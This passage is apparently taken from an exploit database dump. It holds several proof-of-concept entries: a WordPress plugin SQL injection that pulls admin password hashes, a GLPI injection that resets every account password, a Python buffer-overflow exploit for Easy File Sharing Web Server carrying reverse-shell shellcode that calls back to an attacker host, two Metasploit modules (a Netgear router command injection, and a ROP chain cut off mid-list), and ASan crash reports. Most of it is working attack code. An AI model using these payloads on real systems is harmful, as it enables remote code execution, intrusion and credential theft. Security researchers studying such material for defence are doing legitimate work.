0242c234 66d73203 1ca71d90 00001000 00001000 mpengine!std::list<std::pair<wchar_t const * const,CommonUtil::AutoRefWrapper<AttributeValueStore> >,std::allocator<std::pair<wchar_t const * const,CommonUtil::AutoRefWrapper<AttributeValueStore> > > >::erase+0x72 (FPO: [Non-Fpo])
0242c258 66d732b9 1ca76db8 00001000 41414000 mpengine!Modification::read+0x79 (FPO: [Non-Fpo])
0242c2a0 66d736db 1ca76db8 00001000 41414000 mpengine!MutableStore::MutableByteStream::read+0xa3 (FPO: [Non-Fpo])
0242c2dc 66d737db 02f923e4 000007ff 41414141 mpengine!MutableStore::MutableByteStream::write+0xa0 (FPO: [Non-Fpo])
0242c320 66d6dfbb 00000544 02f923e4 000007ff mpengine!MutableStore::writeStrm+0xab (FPO: [Non-Fpo])
0242c35c 66d6b463 00000596 02f923e4 000007ff mpengine!VirtualFS::write+0x79 (FPO: [4,5,4])
0242c3a0 66c1eea8 02f923e4 000007ff 41414141 mpengine!VFS_Write+0x34 (FPO: [Non-Fpo])
0242c410 66b71e01 02ed0020 02f20610 fdeee3e7 mpengine!NTDLL_DLL_VFS_Write+0x78 (FPO: [Non-Fpo])
0242c440 66d840da 02f203a8 0309877f 02f20601 mpengine!__call_api_by_crc+0x114 (FPO: [Non-Fpo])
0242c468 030987a8 669eeca2 02f203a8 0309877f mpengine!x32_parseint+0x1ba (FPO: [Non-Fpo])


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42264.zip
            
# Exploit Title: Ultimate Product Catalogue 4.2.2 Sql Injection – Plugin WordPress – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/

# Software Link: https://wordpress.org/plugins/ultimate-product-catalogue/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 4.2.2
# Tested on: Ubuntu 16.04

1 - Description:

Type user access: register user.

$_POST[‘CatID’] is not escaped.

http://lenonleite.com.br/en/blog/2017/05/31/english-ultimate-product-catalogue-4-2-2-sql-injection/

2 - Proof of Concept:

1 – Login as regular user (created using wp-login.php?action=register):

2 – Using:

<*form method="post"
action="http://target/wp-admin/admin-ajax.php?action=get_upcp_subcategories">
<*input type="text" name="CatID" value="0 UNION SELECT
user_login,user_pass FROM wp_users WHERE ID=1">
<*input type="submit">

*delete “*” in code*

3 - Timeline:

- 22/05/2017 – Discovered
- 24/05/2017 – Vendor not finded
- **/06/2017 - Corrected

***Rename plugin txt to zip. Problem with gmail block.
-- 
*Atenciosamente*

*Lenon Leite*
            
# Exploit Title: Multiple SQL injection vulnerabilities in GLPI 0.90.4
# Date: 2016/09/09
# Exploit Author: Eric CARTER (in/ericcarterengineer - CS c-s.fr)
# Vendor Homepage: http://glpi-project.org
# Software Link: http://glpi-project.org/spip.php?article3
# Version: 0.90.4
# Tested on: GLPI 0.90.4 running on a Debian 7, Apache 2.2.2, MySQL 5.5.49
# CVE : CVE-2016-7508

Multiple SQL injection vulnerabilities in GLPI 0.90.4 allow an 
authenticated remote attacker to execute arbitrary SQL commands by 
using the [ELIDED] character when the database is configured to use 
asian encoding (BIG 5).



> [Affected Component]
The file ./inc/dbmysql.class.php defines the encoding the database 
should use. This files uses the "SET NAMES" function which offers the 
possibility to use a specific encoding.

> [Attack Type]
Remote

> [Impact Code execution]
True

> [Impact Escalation of Privileges]
True

> [Impact Information Disclosure]
True

> [Prerequisite]
The administrator of GLPI must have defined the variable 
$dbenc='big5' in ./config/config_db.php to support asian encoding. It 
will then be possible to do SQL injection in almost all the forms of 
the application.
 
> [Attack Vectors]
For the proof-of-concept, the attacker targeted the 
"Surname" form input in the User profile by adding the characters 
ø (\xBF\x27) before the SQL code (the request must be sent using Western
encoding) :
ø', password=61529519452809720693702583126814 -- x

Once received by the server, the request will be sanitized, giving :
ø\', password=61529519452809720693702583126814 -- x

The value will then be sent to the database with a BIG5 encoding. Here is the 
critical point, as BIG5 will see the string ø\ as a single asian character 
encoded on two bytes. As the single quote isn't escaped anymore, the 
SQL code will be executed and will set the password of every accounts 
to the value
61529519452809720693702583126814 (=MD5 hash of "ximaz" string)
            
#!/usr/bin/python
# Exploit Title: Easy File Sharing Web Server 7.2 - GET HTTP Request (PassWD) Buffer Overflow (SEH)
# Date: 19 June 2017
# Exploit Author: clubjk
# Author Contact: jk@jkcybersecurity.com
# Vendor Homepage: http://www.sharing-file.com
# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
# Version: Easy File Sharing Web Server 7.2
# Tested on: WinXP SP3
# Usage: ./exploit.py
# [*] Connecting to Target 192.168.188.132...standby...
# [*] Successfully connected to 192.168.188.132...
# [*] Sending improperly formed request...
# [!] Request has been sent!


import socket,os,time, sys
 
host = "192.168.188.132"
port = 80


#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.188.133 LPORT=2345 -f py -b "\x00"
buf =  ""
buf += "\xdb\xd2\xd9\x74\x24\xf4\x5f\xba\xb7\xe7\x7d\x1e\x29"
buf += "\xc9\xb1\x52\x83\xef\xfc\x31\x57\x13\x03\xe0\xf4\x9f"
buf += "\xeb\xf2\x13\xdd\x14\x0a\xe4\x82\x9d\xef\xd5\x82\xfa"
buf += "\x64\x45\x33\x88\x28\x6a\xb8\xdc\xd8\xf9\xcc\xc8\xef"
buf += "\x4a\x7a\x2f\xde\x4b\xd7\x13\x41\xc8\x2a\x40\xa1\xf1"
buf += "\xe4\x95\xa0\x36\x18\x57\xf0\xef\x56\xca\xe4\x84\x23"
buf += "\xd7\x8f\xd7\xa2\x5f\x6c\xaf\xc5\x4e\x23\xbb\x9f\x50"
buf += "\xc2\x68\x94\xd8\xdc\x6d\x91\x93\x57\x45\x6d\x22\xb1"
buf += "\x97\x8e\x89\xfc\x17\x7d\xd3\x39\x9f\x9e\xa6\x33\xe3"
buf += "\x23\xb1\x80\x99\xff\x34\x12\x39\x8b\xef\xfe\xbb\x58"
buf += "\x69\x75\xb7\x15\xfd\xd1\xd4\xa8\xd2\x6a\xe0\x21\xd5"
buf += "\xbc\x60\x71\xf2\x18\x28\x21\x9b\x39\x94\x84\xa4\x59"
buf += "\x77\x78\x01\x12\x9a\x6d\x38\x79\xf3\x42\x71\x81\x03"
buf += "\xcd\x02\xf2\x31\x52\xb9\x9c\x79\x1b\x67\x5b\x7d\x36"
buf += "\xdf\xf3\x80\xb9\x20\xda\x46\xed\x70\x74\x6e\x8e\x1a"
buf += "\x84\x8f\x5b\x8c\xd4\x3f\x34\x6d\x84\xff\xe4\x05\xce"
buf += "\x0f\xda\x36\xf1\xc5\x73\xdc\x08\x8e\xbb\x89\xae\xcb"
buf += "\x54\xc8\xce\xda\x8d\x45\x28\xb6\xdd\x03\xe3\x2f\x47"
buf += "\x0e\x7f\xd1\x88\x84\xfa\xd1\x03\x2b\xfb\x9c\xe3\x46"
buf += "\xef\x49\x04\x1d\x4d\xdf\x1b\x8b\xf9\x83\x8e\x50\xf9"
buf += "\xca\xb2\xce\xae\x9b\x05\x07\x3a\x36\x3f\xb1\x58\xcb"
buf += "\xd9\xfa\xd8\x10\x1a\x04\xe1\xd5\x26\x22\xf1\x23\xa6"
buf += "\x6e\xa5\xfb\xf1\x38\x13\xba\xab\x8a\xcd\x14\x07\x45"
buf += "\x99\xe1\x6b\x56\xdf\xed\xa1\x20\x3f\x5f\x1c\x75\x40"
buf += "\x50\xc8\x71\x39\x8c\x68\x7d\x90\x14\x98\x34\xb8\x3d"
buf += "\x31\x91\x29\x7c\x5c\x22\x84\x43\x59\xa1\x2c\x3c\x9e"
buf += "\xb9\x45\x39\xda\x7d\xb6\x33\x73\xe8\xb8\xe0\x74\x39"

crash = "/.:/"                #unusual but needed
crash += "A"*53               #offset
crash += "\xeb\x10\x90\x90"   #seh
crash += "\x05\x86\x01\x10"   #pop pop ret ImageLoad.dll (WinXP SP3)
crash += "D"*10               #junk
crash += buf                  #shellcode
crash += "E"*2600             #total string needs to be about 3000 chars

 
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Referer: " + "http://" + host + "/" + "\r\n"
request += "Cookie: SESSIONID=16246; UserID=PassWD=" + crash + "; frmUserName=; frmUserPass=;"
request += " rememberPass=202.197.208.215.201"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n"

print "[*] Connecting to Target " + host + "...standby..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)


try:
	connect=s.connect((host, port))
	print "[*] Successfully connected to " + host + "!!!"
except:
	print "[!] " + host + " didn't respond\n"
	sys.exit(0)


print "[*] Sending improperly formed request..."
s.send(request + "\r\n\r\n")
print "[!] Request has been sent!\n"
s.close()
            
'''
           DefenseCode Security Advisory
    IBM DB2 Command Line Processor Buffer Overflow


Advisory ID: DC-2017-04-002
Advisory Title: IBM DB2 Command Line Processor Buffer Overflow
Advisory URL:
http://www.defensecode.com/advisories/IBM_DB2_Command_Line_Processor_Buffer_Overflow.pdf
Software: IBM DB2
Version: V9.7, V10.1, V10.5 and V11.1 on all platforms
Vendor Status: Vendor Contacted / Fixed (CVE-2017-1297)
Release Date: 26.06.2017
Risk: High


1. General Overview
===================
IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) Command
Line Process (CLP) is vulnerable to a stack based buffer overflow, caused
by improper bounds checking which could allow an attacker to execute
arbitrary code. The vulnerability is triggered by providing an overly
long procedure name inside a CALL statement.


2. Software Overview
===================
DB2 is a database product from IBM. It is a Relational Database Management
System. DB2 is designed to store, analyze and retrieve the data efficiently.
DB2 currently supports Linux, UNIX and Windows platforms.

db2bp is a persistent background process for the DB2 Command Line
Processor,
and it is the process which actually connects to the database.


3. Brief Vulnerability Description
==================================
By providing a specially crafted command file to the db2 CLP utility, it is
possible to cause a buffer overflow and possibly hijack the execution flow
of the program. Crafted file contains a CALL statement with an overly long
procedure parameter.

3.1 Proof of Concept

The following python script will generate a proof of concept .sql crash
test
file that can be used to verify the vulnerability:

-------
'''

#!/usr/bin/python

load_overflow = 'A' * 1000
statement = "CALL " + load_overflow + ";"

crash_file = open("crash.sql", "w")
crash_file.write(statement)
crash_file.close()

'''
-------

PoC usage: db2 -f crash.sql


4. Credits
==========
Vulnerability discovered by Leon Juranic, further analysis by Bosko
Stankovic.


5. About DefenseCode
================================
DefenseCode L.L.C. delivers products and services designed to analyze
and test
web, desktop and mobile applications for security vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security Testing,
WhiteBox
Testing) solution for performing extensive security audits of
application source
code. ThunderScan performs fast and accurate analyses of large and complex
source code projects delivering precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing,
BlackBox
Testing) solution for comprehensive security audits of active web
applications.
WebScanner will test a website's security by carrying out a large number of
attacks using the most advanced techniques, just as a real attacker would.

Subscribe for free software trial on our website http://www.defensecode.com/
'''
            
Description:
lame is a high quality MPEG Audio Layer III (MP3) encoder licensed under the LGPL.

Few notes before the details of this bug. Time ago a fuzz was done by Brian Carpenter and Jakub Wilk which posted the results on the debian bugtracker. In cases like this, when upstream is not active and people do not post on the upstream bugzilla is easy discover duplicates, so I downloaded all available testcases, and noone of the bug you will see on my blog is a duplicate of an existing issue. Upstream seems a bit dead, latest release was into 2011, so this blog post will probably forwarded on the upstream bugtracker just for the record.

The complete ASan output of the issue:

# lame -f -V 9 $FILE out.wav
==30801==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe82a515a0 at pc 0x7f56d24c9df7 bp 0x7ffe82a4ffb0 sp 0x7ffe82a4ffa8
WRITE of size 4 at 0x7ffe82a515a0 thread T0
    #0 0x7f56d24c9df6 in III_dequantize_sample /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer3.c
    #1 0x7f56d24a664f in decode_layer3_frame /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer3.c:1738:17
    #2 0x7f56d24733ca in decodeMP3_clipchoice /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/interface.c:615:13
    #3 0x7f56d2470c13 in decodeMP3 /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/interface.c:696:12
    #4 0x7f56d2431092 in decode1_headersB_clipchoice /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:149:11
    #5 0x7f56d243694a in hip_decode1_headersB /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:436:16
    #6 0x7f56d243694a in hip_decode1_headers /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:379
    #7 0x51e984 in lame_decode_fromfile /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:2089:11
    #8 0x51e984 in read_samples_mp3 /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:877
    #9 0x51e984 in get_audio_common /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:785
    #10 0x51e4fa in get_audio /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:688:16
    #11 0x50f776 in lame_encoder_loop /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:456:17
    #12 0x50f776 in lame_encoder /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:531
    #13 0x50c43f in lame_main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:707:15
    #14 0x510793 in c_main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/main.c:470:15
    #15 0x510793 in main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/main.c:438
    #16 0x7f56d1029680 in __libc_start_main /tmp/portage/sys-libs/glibc-2.23-r3/work/glibc-2.23/csu/../csu/libc-start.c:289
    #17 0x41c998 in _init (/usr/bin/lame+0x41c998)

Address 0x7ffe82a515a0 is located in stack of thread T0 at offset 5024 in frame
    #0 0x7f56d24a548f in decode_layer3_frame /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer3.c:1659

  This frame has 4 object(s):
    [32, 344) 'scalefacs'
    [416, 5024) 'hybridIn' 0x1000505422b0: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x1000505422c0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x1000505422d0: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000505422e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000505422f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100050542300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30801==ABORTING
Affected version:
3.99.5

Fixed version:
N/A

Commit fix:
N/A

Credit:
This bug was discovered by Agostino Sarubbo of Gentoo.

CVE:
N/A

Reproducer:
https://github.com/asarubbo/poc/blob/master/00294-lame-stackoverflow-III_dequantize_sample

Timeline:
2017-06-01: bug discovered
2017-06-17: blog post about the issue

Note:
This bug was found with American Fuzzy Lop.

Permalink:
https://blogs.gentoo.org/ago/2017/06/17/lame-stack-based-buffer-overflow-in-iii_dequantize_sample-layer3-c


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42259.zip
            
Description:
lame is a high quality MPEG Audio Layer III (MP3) encoder licensed under the LGPL.

Few notes before the details of this bug. Time ago a fuzz was done by Brian Carpenter and Jakub Wilk which posted the results on the debian bugtracker. In cases like this, when upstream is not active and people do not post on the upstream bugzilla is easy discover duplicates, so I downloaded all available testcases, and noone of the bug you will see on my blog is a duplicate of an existing issue. Upstream seems a bit dead, latest release was into 2011, so this blog post will probably forwarded on the upstream bugtracker just for the record.

The complete ASan output of the issue:

# lame -f -V 9 $FILE out.wav
==27479==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f598d317f20 at pc 0x7f598d2b246b bp 0x7ffe780cf310 sp 0x7ffe780cf308
READ of size 2 at 0x7f598d317f20 thread T0
    #0 0x7f598d2b246a in II_step_one /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer2.c:144:36
    #1 0x7f598d2b246a in decode_layer2_frame /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer2.c:375
    #2 0x7f598d29b377 in decodeMP3_clipchoice /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/interface.c:611:13
    #3 0x7f598d298c13 in decodeMP3 /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/interface.c:696:12
    #4 0x7f598d259092 in decode1_headersB_clipchoice /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:149:11
    #5 0x7f598d25e94a in hip_decode1_headersB /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:436:16
    #6 0x7f598d25e94a in hip_decode1_headers /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:379
    #7 0x51e984 in lame_decode_fromfile /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:2089:11
    #8 0x51e984 in read_samples_mp3 /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:877
    #9 0x51e984 in get_audio_common /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:785
    #10 0x51e4fa in get_audio /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:688:16
    #11 0x50f776 in lame_encoder_loop /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:456:17
    #12 0x50f776 in lame_encoder /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:531
    #13 0x50c43f in lame_main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:707:15
    #14 0x510793 in c_main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/main.c:470:15
    #15 0x510793 in main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/main.c:438
    #16 0x7f598be51680 in __libc_start_main /tmp/portage/sys-libs/glibc-2.23-r3/work/glibc-2.23/csu/../csu/libc-start.c:289
    #17 0x41c998 in _init (/usr/bin/lame+0x41c998)

0x7f598d317f20 is located 0 bytes to the right of global variable 'alloc_2' defined in '/var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/l2tables.h:118:24' (0x7f598d317de0) of size 320
SUMMARY: AddressSanitizer: global-buffer-overflow /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer2.c:144:36 in II_step_one
Shadow bytes around the buggy address:
  0x0febb1a5af90: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0febb1a5afa0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0febb1a5afb0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x0febb1a5afc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0febb1a5afd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0febb1a5afe0: 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x0febb1a5aff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0febb1a5b000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0febb1a5b010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0febb1a5b020: 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0febb1a5b030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==27479==ABORTING
Affected version:
3.99.5

Fixed version:
N/A

Commit fix:
N/A

Credit:
This bug was discovered by Agostino Sarubbo of Gentoo.

CVE:
N/A

Reproducer:
https://github.com/asarubbo/poc/blob/master/00290-lame-globaloverflow-II_step_one

Timeline:
2017-06-01: bug discovered
2017-06-17: blog post about the issue

Note:
This bug was found with American Fuzzy Lop.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42258.zip
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/http'
require "base64"

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'                 => "Netgear DGN2200 dnslookup.cgi Command Injection",
      'Description'          => %q{
        This module exploits a command injection vulnerablity in NETGEAR
        DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request
        with valid login details.
      },
      'License'              => MSF_LICENSE,
      'Platform'             => 'unix',
      'Author'               => [
        'thecarterb',  # Metasploit Module
        'SivertPL'     # Vuln discovery
      ],
      'DefaultTarget'        => 0,
      'Privileged'           => true,
      'Arch'                 => [ARCH_CMD],
      'Targets'              => [
        [ 'NETGEAR DDGN2200 Router', { } ]
      ],
      'References'           =>
        [
          [ 'EDB', '41459'],
          [ 'CVE', '2017-6334']
        ],
      'DisclosureDate' => 'Feb 25 2017',
    ))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
        OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
      ])

    register_advanced_options(
    [
      OptString.new('HOSTNAME', [true, '"Hostname" to look up (doesn\'t really do anything important)', 'www.google.com'])
    ])
    end

  # Requests the login page which tells us the hardware version
  def check
    res = send_request_cgi({'uri'=>'/'})
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end
     # Checks for the `WWW-Authenticate` header in the response
    if res.headers["WWW-Authenticate"]
      data = res.to_s
      marker_one = "Basic realm=\"NETGEAR "
      marker_two = "\""
      model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
      vprint_status("Router is a NETGEAR router (#{model})")
      model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4']
      if model_numbers.include?(model)
        print_good("Router may be vulnerable (NETGEAR #{model})")
        return CheckCode::Detected
      else
        return CheckCode::Safe
      end
    else
      print_error('Router is not a NETGEAR router')
      return CheckCode::Safe
    end
  end

  def exploit
    check

    # Convert datastores
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    hostname = datastore['HOSTNAME']

    vprint_status("Using encoder: #{payload.encoder} ")
    print_status('Sending payload...')

    vprint_status("Attempting to authenticate with: #{user}:#{pass} (b64 encoded for auth)")

    creds_combined = Base64.strict_encode64("#{user}:#{pass}")
    vprint_status("Encoded authentication: #{creds_combined}")

    res = send_request_cgi({
      'uri'         => '/dnslookup.cgi',
      'headers'     => {
        'Authorization' => "Basic #{creds_combined}"
      },
      'vars_post'   => {
        'lookup'    => 'Lookup',
        'host_name' => hostname + '; ' + payload.encoded
    }})

  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  #include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',
      'Description'    => %q{
        This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.
      },
      'Author'         =>
        [
          'bl4ck h4ck3r', #POC
          'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'EDB', '42186' ],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],
        ],
      'DefaultOptions' => {
          'RPORT' => 80,
          'EXITFUNC' => 'thread',
          'ENCODER' => 'x86/alpha_mixed'
        },
      'DisclosureDate' => 'Jun 12 2017',
      'DefaultTarget'  => 0))
  end

  def create_rop_chain
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
        # 0x00000000,  # [-] Unable to find gadget to put 00000201 into ebx
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0xFFFFFDFE,  # -202
        0x100231d1,  # NEG EAX # RETN [ImageLoad.dll]
        0x1001da09,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]|   {PAGE_EXECUTE_READ}
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0x1004de84,  # &Writable location [ImageLoad.dll]
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0x61c832d0,  # ptr to &VirtualProtect() [IAT sqlite3.dll]
        0x1002248c,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
        0x61c0a798,  # XCHG EAX,EDI # RETN [sqlite3.dll]
        0x1001d626,  # XOR ESI,ESI # RETN [ImageLoad.dll]
        0x10021a3e,  # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]
        0x100218f9,  # POP EBP # RETN [ImageLoad.dll]
        0x61c24169,  # & push esp # ret  [sqlite3.dll]
        0x10022c4c,  # XOR EDX,EDX # RETN [ImageLoad.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
